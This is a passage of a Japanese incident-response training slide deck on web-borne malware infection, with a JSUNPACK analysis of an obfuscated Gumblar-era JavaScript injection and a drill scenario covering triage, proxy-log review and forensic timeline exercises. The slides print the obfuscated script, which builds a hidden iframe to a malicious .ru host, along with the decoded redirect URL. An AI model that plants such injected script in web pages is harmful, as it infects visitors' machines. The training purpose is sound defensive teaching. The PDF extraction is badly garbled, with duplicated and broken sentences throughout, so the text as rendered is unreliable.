JSUNPACK*1などのWEBサービスを利用することで，サービスを利用することで，JavaScriptで自動転送されるで自動転送されるなどのサービスを利用することで，URLを確認できます。
を確認できます。
◆JSUNPACK*1 JSUNPACK http://jsunpack.jeek.org/

P 38

感染PC

Proxy

攻撃元サイトJSUNPACK（（1））•

2010年に社会問題となった，通称「年に社会問題となった，通称「Gumblar」攻撃で改竄された，某サイトに埋め込ま」攻撃で改竄された，某サイトに埋め込ま
年に社会問題となった，通称「れていたJavaScriptををJSUNPACKで解析してで解析してみます
れていたで解析してみます。
みます。

◆難読化されたJavaScript（（Before））◆難読化された<script>function H() {var p=']';var No="";var h='g';var Z='[';var HN=3519;var T='replace';this.pp="";var dg='';this.w=64919;function t(G,O){var Ay="";var Gg=Z;var TQ=65229;Gg+=O;Gg+=p;this.sh='';var o=new RegExp(Gg, h);return G[T](o, '');var Br=39112;};var sc='';v
ar v=window;var A=t('/ObXaOh1nH.BdBeO/Hb1a1hXnB.OdHeX/HgXoOo1gBl1eH.Bc1o
OmH/BaObHrHiXl1.1cOoXmB.BbHrX/Oa1zHeOtO.Hs1kO/O',"OHXB1");var a=t('slceryiypytV',"Vylve");var R=t('h1t1t1pb:1/X/1vfiXrbgbifnZmbe1dXiXa1-1cboXmf.fgXoZoXgflfeX.X
cfobmb.1tbw1.1aXlflbrZe1cbiZpZebs1-bcfobmX.ZnXeZwXufsba1g1ufibd1ef.Xrbu1',"1bXZf");this.W="";var hz=t('cgrPe4agtueuE4lPevmPePn4tP',"P4vug");var m='';var N=t(':H8F0
H8d0d',"dcHqF");var ag=false;v[t('oSnhlwohaYdh',"hwSeY")]=function(){try {m+=R;this.n="";m+=N;var C=53252;m+=A;this.y=41410;Az=document[hz](a);this.TK="";q(Az,t('dBezfh
ezrz',"zhyBI"),([1][0]));q(Az,t('s7rYct',"t5N7Y"),m);var OI="";document[t('brordzy4',"4vrKz")][t('aWpopMeonodWCYhoiolodo',"oWYMg")](Az);var WB=56579;} catch(L){this.yk="";};};function q(u,S,r){var ad='';u[t('s6eXt6AxtxtxrTixbXu6tXeT',"TX6xL")](S, r);}};H();this.q
H=false;</script>
P 39

感染PC

Proxy

攻撃元サイトJSUNPACK（（2））•

解析結果から，次のURLに自動転送されることが判明しました。
に自動転送されることが判明しました。
解析結果から，次の– ［解析結果］hxxp://virginmedia-com.google.com.tw.allrecipes-com.newusaguide.ru:8080［解析結果］/bahn.de/bahn.de/google.com/abril.com.br/azet.sk/◆解析結果（After））◆解析結果（P 40

第2章
章 想定シナリオの対応

P 41

本日の
本日の想定シナリオ••

ある日，営業所の社員から，インターネットのWEBサイト閲覧中に，サイト閲覧中に，PCが不審な挙動
ある日，営業所の社員から，インターネットのサイト閲覧中に， が不審な挙動を示したとの電話連絡がありました。
状況をがマルウェアに感染したようです。
状況を確認したところ，どうやら営業所確認したところ，どうやら営業所の，どうやら営業所のPCがマルウェアに感染したようですがマルウェアに感染したようです。
さて，どうしますか？
Internet

Firewall

電算センター
電算センター
DMZ

業務サーバ
セグメント

Firewall

Web
Proxy
Mail
DNS
Firewall• WEBサイト閲覧中に，サイト閲覧中に，PCがサイト閲覧中に， が感染した可能性がある

WAN回線

本社
営業所
上司
情報セキュリティ担当者
社員用PC

受講者
P 42

PC利用者からの電話連絡の内容
利用者からの電話連絡の内容

電話連絡の内容
昨晩（2012/8/23（木）），営業所で当直だったので，21:30頃，PC*1で業務関係のWEBサイト（http://www.example.com）を閲覧していたところ，突然，「Security Tools Installed」といったメッセージが表示され，英語の不審なツールが起動しました。
1～2分後に，英語でウィルスを検知したというメッセージが表示されたため，怖くなってPCをシャットダウンしました。その時の画面コピーもとってあるので，後ほど，電子メールで送付します。
どうしたらよいでしょうか。

*1 実習環境準備の都合により，WindowsXP SP3における感染事案とします。

P 43

感染PCの画面コピー
感染 の画面コピー

P 44

インシデント対応の基本手順••

インシデント対応では，状況整理フェーズで事実と推測を整理し，発生している事象とインシデント対応では，状況整理フェーズで事実と推測を整理し，発生している事象とリスクの「仮説」を設定
リスクの「仮説」を設定します
設定します。
します。
しかし，対応の初期段階では，情報の不足や輻輳が発生しやすく，仮説には，推測が含まれることが多いため，必要に応じて，フォレンジック技術や，マルウェア解析技術を活用し，仮説の検証を行います。
活用し，仮説の検証を行います。

インシデントレスポンスの基本手順
インシデントレスポンスの基本手順

③被害抑止
①状況整理
検知

②判断

⑤復旧

事後対応

（仮説の設定）④調査（仮説の検証）

必要に応じて繰り返し
P 45

③抑止
検知

①状況整理

②判断

⑤復旧

事後対応

④調査

①状況整理
状況整理（
整理（仮説の仮説の設定）•

利用者の通報の内容から，本事案のPCは，
感染型マルウェア感染した可能性
利用者の通報の内容から，本事案の は，WEB感染型マルウェア感染した可能性
は，が高いと推測されます。

◆本事案の仮説◆本事案の仮説
転送

攻撃元サイトInternet
他のPC

一時フォルダWEBサイト閲覧中に感染した可能性が高い

感染
営業所PC
営業所

P 46

③抑止
検知

①状況整理

②判断

⑤復旧

事後対応

④調査

②判断
•

検知アラートの内容や，現地の聞き取り調査の結果を踏まえ，被害抑止ならび検知アラートの内容や，現地の聞き取り調査の結果を踏まえ，被害抑止ならびに調査
抑止ならびに調査の方針を判断方針を判断します
を判断します。
します。

◆状況整理図④他のPCも感染している恐れ
他の も感染している恐れがあるため，Proxyログから，ログから，があるため，
攻撃元サイトにアクセスしたPCを洗い出し，調査する。
を洗い出し，調査する。

転送

攻撃元サイト③ProxyののURLフィ
フィ
ルタで，攻撃元サイトを遮断する。

Internet
他のPC⑤通信記録を調査し，感染PCから情報流
感染 から情報流出した可能性があるか判断する

一時フォルダ①感染PCを解析し，感染日時を特定する。
①感染 を解析し，感染日時を特定する。
②感染日時にアクセスしていたWEBサイトを
サイトを②感染日時にアクセスしていた
絞り込み，攻撃元サイトを特定する。

感染PC
感染

P 47

③抑止
検知

①状況整理

②判断

⑤復旧

事後対応

④調査

③被害抑止（
被害抑止（1）
抑止（ ）•感染が疑われるPCは，ケーブルを抜き取り，ネットワーク経由での感染拡大，お感染が疑われる は，LANケーブルを抜き取り，ネットワーク経由での感染拡大，は，ケーブルを抜き取り，ネットワーク経由での感染拡大，および情報流出などの被害拡大をよび情報流出などの被害拡大を抑止します。
拡大を抑止します。

•

また，必要に応じて，従業者に注意喚起
また，必要に応じて，従業者に注意喚起を行います。
に応じて，従業者に注意喚起を行います。

P 48

③抑止
検知

①状況整理

②判断

⑤復旧

事後対応

④調査

④調査 -感染
感染PCの解析）
感染 の解析の解析 （1）•

今回の事案では，利用者からの申告により，おおよその感染日時を把握できていることから，感染PCのブラウザ閲覧履歴を調査とから，感染 のブラウザ閲覧履歴を調査しますのブラウザ閲覧履歴を調査します。
します。

◆主な調査ポイント項目

説明•

ホスト名がランダムまたはIPアドレス，ロシア（.ru）や中国（.cn）のドメイン

•
•
•
•

実行ファイル（exe， dll， com， scr），
Javaコード（class， jar， jnlp）,
Flashコンテンツ（swf）
ランダムなファイル名のPDF文書（pdf）

不審なURLへのへのアクセス
不審なへのアクセス

実行ファイルや脆弱性攻撃に利用されるファイルのダウンロード

P 49

③抑止
検知

①状況整理

②判断

⑤復旧

事後対応

④調査

[実習
実習03]
ブラウザ閲覧履歴/キャッシュの調査
実習
ブラウザ閲覧履歴 キャッシュの調査•

感染PCからエビデンスとして取得した，ブラウザ閲覧履歴およびキャッシュファイルを感染 からエビデンスとして取得した，ブラウザ閲覧履歴およびキャッシュファイルを解析し，不審な点がないか確認してください。
– 本実習は，実習手順の説明資料はありません。これまでの学習内容を振り返り，取り組んでください。

Mission01 不審なホスト名の確認
Mission02 脆弱性攻撃コードの可能性があるファイルの確認（閲覧履歴だけでなく，キャッシュとして残されているかも確認）［補足］ この段階では，攻撃元サイト，脆弱性攻撃コードと断定できる材料はありません。「不審な点」が無いかを確認してください。

P 50

③抑止
検知

①状況整理

②判断

⑤復旧

事後対応

④調査

④調査 -感染
感染PCの解析）
感染 の解析の解析 （2）•ファイルシステム，レジストリのタイムライン解析を行い，不審なプログラムの作成日時
ならびにその前後のイベントを確認します。
ならびにその前後のイベントを確認します。

•

また，レジストリなどに不審なプログラムの自動実行設定が追加されていないか確認し
ます。

P 51

③抑止
検知

①状況整理

②判断

⑤復旧

事後対応

④調査

[実習
実習04]
タイムライン解析
実習
タイムライン解析•

感染PCからエビデンスとして取得した，，レジストリ（system，，software，，
感染 からエビデンスとして取得した，$MFT，からエビデンスとして取得した，
レジストリ（NTUSER.DAT）をタイムライン解析し，不審な点がないか確認します。
）をタイムライン解析し，不審な点がないか確認します。
– 本実習は，実習手順の説明資料はありません。これまでの学習内容を振り返り，取り組んで
本実習は，実習手順の説明資料はありません。これまでの学習内容を振り返り，取り組んでください。

Mission01 不審なプログラム名の確認（複数存在）

Mission02 マルウェアの自動実行設定個所の確認（タイムラインで不審に思ったレジストリを実際に確認）

Mission03 攻撃元サイトおよびマルウェア検体の特定（ブラウザ閲覧履歴なども踏まえ総合的に判断）

P 52

③抑止
検知

①状況整理

②判断

⑤復旧

事後対応

④調査

③被害抑止（
被害抑止（2）抑止（ ）•Proxyの設定変更により，特定した攻撃元サイトのの設定変更により，特定した攻撃元サイトのURLに対する通信を遮断
に対する通信を遮断しますの設定変更により，特定した攻撃元サイトのに対する通信を遮断します。
します。

P 53

③抑止
検知

①状況整理

②判断

⑤復旧

事後対応

④調査

④調査 -Proxyログの解析
ログの解析ログの解析•

攻撃元サイトのURLなどなどをキーとして，ログを検索し，本事案の感染PCの他に，
攻撃元サイトのなどをキーとして，Proxyログを検索し，本事案の感染をキーとして，ログを検索し，本事案の感染 の他に，
攻撃元サイトにアクセスしたPCが存在しないか確認します。
攻撃元サイトにアクセスした が存在しないか確認します。

•

また，感染
が存在しないかも可能な範囲で目視点
また，感染PCがアクセス先として，不審な，感染 がアクセス先として，不審なURLが存在しないかも可能な範囲で目視点がアクセス先として，不審な検します。（感染後の通信先が複数存在する可能性があるため）•最後に，感染PCのアクセス先を全て目視点検し，，PUTなど，情報流出のなど，情報流出の最後に，感染 のアクセス先を全て目視点検し，CONNECT，のアクセス先を全て目視点検し，可能性がある通信が存在するか確認します。
– 情報流出が懸念される場合は，必要に応じて，感染PCやネットワーク機器の詳細フォレン
ジック調査の実施について検討します。

P 54

③抑止
検知

①状況整理

②判断

⑤復旧

事後対応

④調査

⑤復旧/事後対応
復旧 事後対応•

感染したPCは感染した は，データをバックアップし，クリーンインストールすることを強く，データをバックアップし，クリーンインストールすることを強く推奨することを強く推奨します
推奨します。
します。
– インターネットから他のマルウェアをダウンロードされた可能性もあるため，感染したPCの安
全性の確保には大きな労力がかかります。

•

再発防止対策は，セキュリティパッチ適用などの技術的な対策だけでなく，運用ルールの見直しと徹底など，人的対策も検討の見直しと徹底など，人的対策も検討します
検討します。
します。
– WEBサイトの閲覧を許可しているのであれば，マルウェア感染のリスクをゼロにはできません。そのため，業務目的以外のWEBサイトの閲覧を禁止し，感染する可能性を少しでも低減することを推奨します。

•

ProxyののURLフィルタによる，改竄されたフィルタによる，改竄されたWEBサイトの遮断を解除する
サイトの遮断を解除するタイミングはフィルタによる，改竄されたサイトの遮断を解除するタイミングは，タイミングは，
そのWEBサイトが再び改竄されるリスクを考えた上で，慎重にサイトが再び改竄されるリスクを考えた上で，慎重に判断
そのサイトが再び改竄されるリスクを考えた上で，慎重に判断します
判断します。
します。
– 業務上不要なWEBサイトであれば，毎年1回程度，安全性を確認した上で一括して遮断を解除するという運用方法もあります。

P 55

まとめ

P 56

まとめ
•
•

適切なインシデント対応とするためには，状況を正しく把握することが重要です。
マルウェアの感染メカニズム，ならびに感染
感染時に残される痕跡を理解することで，状況
マルウェアの感染メカニズム，ならびに感染時に残される痕跡を理解することで，状況を正しく把握することができます。

•

また，インシデント発生時は，仮説を簡単なイラストとして記載しておくことで，関係者との情報共有がスムーズになります。

•

インシデントが発生したら，被害抑止を優先的に実施します。
インシデントが発生したら，被害抑止を優先的に実施します。ただし，被害抑止のために実施します。ただし，被害抑止のためには，ある程度の状況把握が必要なため，調査を並行して進めます。
には，ある程度の状況把握が必要なため，調査を並行して進めます。

P 57